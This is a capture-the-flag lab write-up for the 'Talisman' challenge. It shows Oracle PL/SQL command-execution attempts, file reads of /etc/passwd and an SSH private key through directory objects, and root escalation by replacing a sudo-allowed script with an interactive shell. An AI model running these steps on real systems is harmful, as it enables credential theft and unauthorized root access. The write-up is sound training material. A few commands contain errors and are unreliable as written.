Talisman

Challenge Lab (Easy) - by TheKeen

The following post by 0xb0b is licensed under CC BY 4.0


Scenario

Objective and Scope

You have been assigned a penetration test on a critical Linux server in the client's environment. The scope is strictly limited to a single Linux server environment designated as the target. The primary objective is to gain root-level access to this system to demonstrate maximum impact and the full extent of the security compromise to the client.

A set of leaked credentials, recently recovered from a third-party data breach, have been provided. While the specific service or application these credentials belong to is unknown, they serve as the initial vector for establishing a foothold.

Leaked Credentials

jane / Greattalisman1! 

Recon

We start with a rustscan followed by services and default script scan, but we only find port 22 SSH and port 8978 to be open.

rustscan -a talisman.hsm -- -sC -sV

On port 8978 a web server seems to be running.

Visting the site at 8978 reveals to us an instance of CloudBeaver Community. We log in using the credentials available from the scenario description:

jane / Greattalisman1! 

Shell as oracle

After logging in we see an available Oracle connection on 172.17.0.1. By clicking on that connection we see we have an SQL Editor available and are the user DEV. Besides DEV further users are available to chose from the drop down.

Failed Attempt RCE

The following sections shows two attempts to gain RCE which fail. Nevertheless, I wanted to give an insight into what I was working on. To solve the challenge, you can jump directly to the File Read section.

Oracle RCE via DBMS_SCHEDULER

With the following PL/SQL block we try to create a scheduled job in Oracle that launches /bin/sh with the argument -c "id". When enabled, it executes the id command on the underlying operating system, demonstrating command execution through DBMS_SCHEDULER. If that would have run successfully we could replace the id command with a reverse shell to get an interactive session on the machine.

BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name        => 'shelljob',
    job_type        => 'EXECUTABLE',
    job_action      => '/bin/sh',
    number_of_arguments => 1,
    enabled         => FALSE
  );

  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('shelljob',1,'-c "id"');
  DBMS_SCHEDULER.ENABLE('shelljob');
END;

RCE via Java Stored Procedure in Oracle

Since we are not allowed to create a scheduled job executing commands we try it with a Java Stored Procedure. Maybe that works out.

Firs, we registers a Java method as a PL/SQL stored procedure run_cmd that can execute operating system commands via ExecOS.runCmd().

BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE PROCEDURE run_cmd(p_cmd IN VARCHAR2) AS LANGUAGE JAVA NAME ''ExecOS.runCmd(java.lang.String)'';';
END;

Next, we verify that the procedure exists. We see it's actually valid. We have a stored procedure and no errors in our java source code.

SELECT object_name, status
FROM user_objects
WHERE object_name = 'RUN_CMD';

Now we try to call run_cmd with the argument id, causing the database to execute the id command on the host system. But we get an Error. We are missing the Permission to execute.

BEGIN run_cmd('id'); END;

File Read

Since our two code execution attempts did not work, let's first check what permissions we actually have. We have the permission DROP ANY DIRECTORY and CREATE ANY DIRECTORY, which should allow us to rad files on the target system.

... the CREATE DIRECTORY statement to create a directory object. A directory object specifies an alias for a directory on the server file system where external binary file LOBs (BFILEs) and external table data are located. You can use directory names when referring to BFILEs in your PL/SQL code and OCI calls, rather than hard coding the operating system path name, for management flexibility.

All directories are created in a single namespace and are not owned by an individual schema. You can secure access to the BFILEs stored within the directory structure by granting object privileges on the directories to specific users.

SELECT * FROM USER_SYS_PRIVS;

The following post on Stack Overflow gives us an idea of how we can read privileged files on the system.

We are using the second example crafting a more elegant query using DBMS_XSLPROCESSOR.READ2CLOB.

BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));
END;

Let's break down what it actually dow:

EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';

  • EXECUTE IMMEDIATE = run the SQL command dynamically.

  • CREATE OR REPLACE DIRECTORY = tells Oracle to create a “directory object,” which is basically a pointer to an OS folder.

  • dir_etc = the name you give to this Oracle object.

  • AS '/etc' = points the object to the real filesystem directory /etc.

  • The doubled single quotes (''/etc'') are just PL/SQL’s way of escaping quotes inside a string.

DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));

  • DBMS_XSLPROCESSOR.READ2CLOB is a built-in Oracle function that can read a file into a CLOB (character large object).

  • It takes two arguments:

    • The directory object name ('DIR_ETC').

    • The filename within that directory ('passwd').

  • So this call reads /etc/passwd from the OS.

  • DBMS_OUTPUT.PUT_LINE just prints it out to the SQL*Plus / SQLcl output buffer so you can see it.

So with this command we are able to read /etc/passwd.

To show the output we click on the following symbol for Server output to be able to view the results.

We evaluate the statement see that there is an oracle user.

Next, we could try to get file to receive access. One could be an SSH private key.

We check if we can access the .ssh folder by retrieving the authorized_keys file. There is also an entry, but we cannot derive which sort of a key might be there. Next, we could try some default names like id_rsa or id_ed25519.

BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir AS ''/home/oracle/.ssh''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','authorized_keys'));
END;

We try to retrieve the id_rsa file in .ssh. And there is one. We get the private key of oracle.

BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir AS ''/home/oracle/.ssh''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR','id_rsa'));
END;

We copy the key to our machine and change the permissions.

chmod 600 id_rsa

We connect as oracle via SSH using the key and are successful. We'll find the user.txt in the home directory. In theroy we could retrieve the key also with the file read permission in oracle.

ssh -i id_rsa oracle@talisman.hsm

Shell as root

Next, we start our enumeration process on the target. While checking our permissions for sudo we see that we are able to execute the script /opt/oracle/product/21c/dbhomeXE/root.sh with root permssions without providing a password. If we could hijack that script we could gain root access.

sudo -l

We check the permissions on the foler /opt/oracle/product/21c and we are the owner of the folder. We do not have write permissions on /opt/oracle/product/21c/dbhomeXE/root.sh, but since we are the owner of the folder. We can just delete the script and replace it.

ls -lah /opt/oracle/product/21c

We remove the script.

rm ls -lah /opt/oracle/product/21c/dbhomeXE/root.sh

And create a new one spawing us an interactive bash.

/opt/oracle/product/21c/dbhomeXE/root.sh
#!/bin/bash
/bin/bash -i
vi /opt/oracle/product/21c/dbhomeXE/root.sh

Now we add execute persmissions,...

chmod +x /opt/oracle/product/21c/dbhomeXE/root.sh

..., and execute the script using sudo. We receive a root shell and are able to reach the final flag at /root/root.txt.

sudo /opt/oracle/product/21c/dbhomeXE/root.sh

Last updated

Was this helpful?